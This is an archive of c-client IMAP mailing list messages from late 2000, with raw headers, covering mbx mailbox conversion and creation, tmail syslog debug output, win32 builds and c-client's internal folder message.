Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client Interest List Subject: mbx conversion scripts MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN if anyone's interested, I have placed my Unix -> mbx conversion scripts on ftp://andrew.triumf.ca/pub/spoolcvt.pl (convert live /var/spool/mail) ftp://andrew.triumf.ca/pub/mbxcvt.pl (convert /home//*) Andrew Daviel, TRIUMF, Canada -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 29 08:04:28 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Sep 2000 08:04:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA27963 for ; Fri, 29 Sep 2000 08:04:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA15204; Fri, 29 Sep 2000 08:04:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA04096; Fri, 29 Sep 2000 08:03:18 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA29578 for ; Fri, 29 Sep 2000 07:59:54 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA04416 for ; Fri, 29 Sep 2000 07:59:50 -0700 Received: from alfred.cc.uottawa.ca (alfred.cc.uottawa.ca [137.122.6.40]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA31039 for ; Fri, 29 Sep 2000 07:59:49 -0700 Received: from mmaster (mmaster.comm.uottawa.ca [137.122.106.105]) by alfred.cc.uottawa.ca (8.9.1/8.9.1) with ESMTP id KAA53362 for ; Fri, 29 Sep 2000 10:59:43 -0400 Message-Id: <200009291459.KAA53362@alfred.cc.uottawa.ca> Date: Fri, 29 Sep 2000 10:59:54 -0400 Reply-To: master@athens.cc.uottawa.ca Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Master" To: c-client Interest List Subject: Suppressing syslog entries by tmail MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Every time tmail delivers mail it writes six lines to syslog. How can I suppress this. The tmail is invoked from sendmail.cf using these commands ---------- Mlocal, P=/var/local/imap/tmail/tmail, F=lsDFMAw5:/|@qPn9, S=10/30, R=20/40, E=\r\n, T=DNS/RFC822/X-Unix, A=tmail $u ------- Here are the log enteries for each dilivery ------------------ delivering to master+INBOX Verifying safe delivery to /home/master/INBOX by UID 204 mbx appending to #driver.mbx/INBOX (file /home/master/INBOX) delivered to /home/master/INBOX Verifying safe delivery to /home/master/INBOX by UID 204 all recipients delivered ----------------------------- Mohammed Master University of Ottawa -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 29 14:35:09 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Sep 2000 14:35:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA27348 for ; Fri, 29 Sep 2000 14:35:07 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA12641; Fri, 29 Sep 2000 14:35:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA25986; Fri, 29 Sep 2000 14:33:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA19404 for ; Fri, 29 Sep 2000 14:29:24 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA30285 for ; Fri, 29 Sep 2000 14:29:23 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA12473 for ; Fri, 29 Sep 2000 14:29:23 -0700 Received: from server11.icaen.uiowa.edu (root@server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id QAA11931 for sent by ; Fri, 29 Sep 2000 16:29:22 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.9.3/smtp-service-1.6) with ESMTP id QAA26494 for ; sent by ; Fri, 29 Sep 2000 16:29:21 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id QAA09487; Fri, 29 Sep 2000 16:29:21 -0500 (CDT) Message-Id: Date: Fri, 29 Sep 2000 16:29:20 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: c-client Interest List Subject: Re: Suppressing syslog entries by tmail In-Reply-To: <200009291459.KAA53362@alfred.cc.uottawa.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 29 Sep 2000, Master wrote: > Every time tmail delivers mail it writes six lines to syslog. How can I > suppress this. The tmail is invoked from sendmail.cf using these commands > ---------- > Mlocal, P=/var/local/imap/tmail/tmail, F=lsDFMAw5:/|@qPn9, > S=10/30, R=20/40, E=\r\n, T=DNS/RFC822/X-Unix, > A=tmail $u > ------- > Here are the log enteries for each dilivery > ------------------ > delivering to master+INBOX > Verifying safe delivery to /home/master/INBOX by UID 204 [stuff omitted] These are tmail's debugging logging (look for the routine 'mm_dlog' in the tmail source). Those lines are passed to the syslog routine with the 'LOG_MAIL' facility at the 'LOG_DEBUG' level. You could modify the source and remove that syslog call or you could modify the way that you collect the "syslog" information. One thing that I've found useful, set up your "syslog.conf" file so that you collect two mail log files, one at the 'debug' level and the second at the 'info' level. Set up a cron job to periodically shrink or empty out the debug log file. That way you will have the info file for routine mail transaction logging and the debug log for a short time if you need to deal with a system problem. The 'shrinkfile' utility from the INN news kit is a nice tool for truncating logs that you only want to keep the end of. Example lines from syslog.conf file: mail.debug /var/adm/syslog/mail.debug mail.info /var/adm/syslog/mail.log Then run a daily cron job to shrink or truncate "/var/adm/syslog/mail.debug" -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Mon Oct 2 09:20:30 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Oct 2000 09:20:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA13375 for ; Mon, 2 Oct 2000 09:20:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA23408; Mon, 2 Oct 2000 09:20:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA08284; Mon, 2 Oct 2000 09:19:02 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA152054 for ; Mon, 2 Oct 2000 09:12:04 -0700 Received: from scribe.cc.purdue.edu (scribe.cc.purdue.edu [128.210.11.6]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA03814 for ; Mon, 2 Oct 2000 09:12:03 -0700 Received: from agadnt4.agad.purdue.edu by scribe.cc.purdue.edu with ESMTP for c-client@u.washington.edu; Mon, 2 Oct 2000 11:10:43 -0500 Received: from agad.purdue.edu ([128.210.115.178]) by agadnt4.agad.purdue.edu (Netscape Messaging Server 4.15) with ESMTP id G1T8TQ00.B0L for ; Mon, 2 Oct 2000 11:08:14 -0500 Message-Id: <39D8B34F.AFA00798@agad.purdue.edu> Date: Mon, 02 Oct 2000 11:09:51 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Whitaker To: c-client@u.washington.edu Subject: win32 and imap-2000.RELEASE-CANDIDATE.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone successfully compiled imap-2000.RELEASE-CANDIDATE.7 for win32. Is there anyplace where the win32 binary is available for download? -- John Whitaker Systems Administrator Purdue University Agriculture Information Systems http://www.agriculture.purdue.edu/agis Voice: (765) 496-6806 Fax: (765) 494-8342 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 2 10:29:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Oct 2000 10:29:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA12374 for ; Mon, 2 Oct 2000 10:29:42 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA08658; Mon, 2 Oct 2000 10:29:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA26933; Mon, 2 Oct 2000 10:26:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA165952 for ; Mon, 2 Oct 2000 10:24:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (smith@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14872 for ; Mon, 2 Oct 2000 10:24:21 -0700 Message-Id: Date: Mon, 2 Oct 2000 10:22:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John Whitaker Cc: c-client@u.washington.edu Subject: re: win32 and imap-2000.RELEASE-CANDIDATE.7 In-Reply-To: <39D8B34F.AFA00798@agad.purdue.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 02 Oct 2000 11:09:51 -0500, John Whitaker wrote: > Has anyone successfully compiled imap-2000.RELEASE-CANDIDATE.7 for > win32. Is there anyplace where the win32 binary is available for > download? I do it every day. Why do you want a binary? If you have VC++ then you can make your own binaries, and if you don't, then what's the use of having the cclient.lib file? From pinedev@shivax2.cac.washington.edu Mon Oct 2 14:42:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Oct 2000 14:42:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA27076 for ; Mon, 2 Oct 2000 14:42:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03288; Mon, 2 Oct 2000 14:42:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA04432; Mon, 2 Oct 2000 14:41:01 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA99984 for ; Mon, 2 Oct 2000 14:37:07 -0700 Received: from eve.speakeasy.net (eve.speakeasy.net [216.254.0.17]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA13168 for ; Mon, 2 Oct 2000 14:37:06 -0700 Received: from dolphin (dsl254-086-141-nyc1.dsl-isp.net [216.254.86.141]) by eve.speakeasy.net (8.10.0/8.10.0) with SMTP id e92Lb5621185 for ; Mon, 2 Oct 2000 14:37:05 -0700 Message-Id: <001901c02cb9$452294c0$818aa8c0@dolphin> Date: Mon, 2 Oct 2000 17:39:35 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Leon" To: Subject: Re: win32 and imap-2000.RELEASE-CANDIDATE.7 References: <39D8B34F.AFA00798@agad.purdue.edu> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN yes, it compiles with platform SDK 2000 installed. ----- Original Message ----- From: "John Whitaker" To: Sent: Monday, October 02, 2000 12:09 PM Subject: win32 and imap-2000.RELEASE-CANDIDATE.7 > Has anyone successfully compiled imap-2000.RELEASE-CANDIDATE.7 for > win32. Is there anyplace where the win32 binary is available for > download? > > -- > John Whitaker > Systems Administrator > Purdue University > Agriculture Information Systems > http://www.agriculture.purdue.edu/agis > > Voice: (765) 496-6806 > Fax: (765) 494-8342 > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 2 18:21:56 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Oct 2000 18:21:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA31605 for ; Mon, 2 Oct 2000 18:21:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA25515; Mon, 2 Oct 2000 18:21:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA17637; Mon, 2 Oct 2000 18:20:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA88274 for ; Mon, 2 Oct 2000 18:09:06 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA03861 for ; Mon, 2 Oct 2000 18:09:05 -0700 Received: from europa.gatecom.com (IDENT:root@[209.69.204.245]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA10331 for ; Mon, 2 Oct 2000 18:09:03 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id UAA10986; Mon, 2 Oct 2000 20:57:56 -0400 Message-Id: <200010030057.UAA10986@europa.gatecom.com> Date: Mon, 02 Oct 2000 20:57:56 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@CAC.Washington.EDU Subject: Internal Folder Data Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (sorry about the previous blank message) If this has been covered before, I apologize... Is there any way to disable the internal folder message in c-client? I distinctly remember that this could be done in Pine, but if it's a c-client function, I'm not seeing it. I somehow have to make a c-client based piece of software co-exist with another custom application that doesn't use c-client. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 2 18:26:39 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Oct 2000 18:26:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA02038 for ; Mon, 2 Oct 2000 18:26:38 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA10658; Mon, 2 Oct 2000 18:26:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA01738; Mon, 2 Oct 2000 18:19:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA122310 for ; Mon, 2 Oct 2000 18:09:04 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA03853 for ; Mon, 2 Oct 2000 18:09:03 -0700 Received: from europa.gatecom.com (IDENT:root@[209.69.204.245]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA10329 for ; Mon, 2 Oct 2000 18:09:01 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id UAA10984; Mon, 2 Oct 2000 20:55:24 -0400 Message-Id: <200010030055.UAA10984@europa.gatecom.com> Date: Mon, 02 Oct 2000 20:55:24 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@CAC.Washington.EDU Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 3 00:30:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Oct 2000 00:30:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA17425 for ; Tue, 3 Oct 2000 00:30:14 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA32222; Tue, 3 Oct 2000 00:30:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA12394; Tue, 3 Oct 2000 00:29:08 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA46168 for ; Tue, 3 Oct 2000 00:24:59 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA21458 for ; Tue, 3 Oct 2000 00:24:58 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA32125 for ; Tue, 3 Oct 2000 00:24:58 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA03971; Tue, 3 Oct 2000 00:24:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (sean@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id AAA26219; Tue, 3 Oct 2000 00:24:58 -0700 Message-Id: Date: Tue, 3 Oct 2000 00:23:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ptr@gatecom.com Cc: c-client@CAC.Washington.EDU Subject: re: Internal Folder Data In-Reply-To: <200010030057.UAA10986@europa.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 02 Oct 2000 20:57:56 EDT, J T Breitner wrote: > Is there any way to disable the internal folder message in c-client? The imap-2000 version of c-client will not create the internal data message in a mailbox that does not already have one. So, your best bet is to upgrade your copy of c-client. From pinedev@shivax2.cac.washington.edu Wed Oct 4 23:05:41 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Oct 2000 23:05:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id XAA19975 for ; Wed, 4 Oct 2000 23:05:35 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA09562; Wed, 4 Oct 2000 23:05:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA17660; Wed, 4 Oct 2000 23:04:28 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA197926 for ; Wed, 4 Oct 2000 23:01:53 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA31770 for ; Wed, 4 Oct 2000 23:01:53 -0700 Received: from incubus.modulo.org (incubus.modulo.org [209.143.90.124]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id XAA09509 for ; Wed, 4 Oct 2000 23:01:51 -0700 Received: (qmail 20761 invoked by uid 500); 5 Oct 2000 06:01:36 -0000 Message-Id: <20001005020135.A20734@modulo.org> Date: Thu, 5 Oct 2000 02:01:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ben h kram To: c-client@CAC.Washington.EDU Subject: mbx folder creation, and bodiless messages Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 93 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What is the preferred method of creating a fresh mbx folder? I once chirped up about this before, and Jauder Ho gave a nifty perl script to make one. I can write mail bits just fine to these files, but reading from them will give me envelope data but always an empty body. I've attached a small sample box to demonstrate. You can use mtest to see this behaviour. (The box has 3 messages, sub: test [123], each body is test [123] + my .sig) I can get this behaviour under 2000.4 and 2000.7. any light that can be shone... thanks, ben -- "...human heads are opaque and there's no way to see inside except through those tiny little windows, the eyes." -Yevgeny Zamyatin "We" -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 5 10:43:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 10:43:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA26447 for ; Thu, 5 Oct 2000 10:43:46 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25454; Thu, 5 Oct 2000 10:43:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA20690; Thu, 5 Oct 2000 10:42:35 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA156230 for ; Thu, 5 Oct 2000 10:38:39 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12226 for ; Thu, 5 Oct 2000 10:38:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (psw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25270 for ; Thu, 5 Oct 2000 10:38:38 -0700 Message-Id: Date: Thu, 5 Oct 2000 10:09:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ben h kram Cc: c-client@CAC.Washington.EDU Subject: re: mbx folder creation, and bodiless messages In-Reply-To: <20001005020135.A20734@modulo.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 5 Oct 2000 02:01:36 -0400, ben h kram wrote: > What is the preferred method of creating a fresh mbx folder? The official way is to call the c-client mail_create() with a mailbox name that is prefixed with "#driver.mbx/". The mbxcreat program, part of the imap-utils ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z can be used to do this from the shell, e.g.: mbxcreat #driver.mbx/foo creates an mbx-format mailbox called "foo" in the user's home directory. The command mbxcreat #driver.mbx/INBOX creates an mbx-format INBOX. > I can write mail bits just fine to these files, but reading from them will > give me envelope data but always an empty body. Are you using the c-client mail_append() function? If not, then you're on your own. Be sure that there is a proper header/body delimiter: CR LF CR LF Also, remember that in mbx format, newlines are CR LF, not UNIX-style raw LF. > I've attached a small sample box to demonstrate. I don't see any attachments in your message. From pinedev@shivax2.cac.washington.edu Thu Oct 5 11:07:20 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 11:07:20 -0700 (PDT) 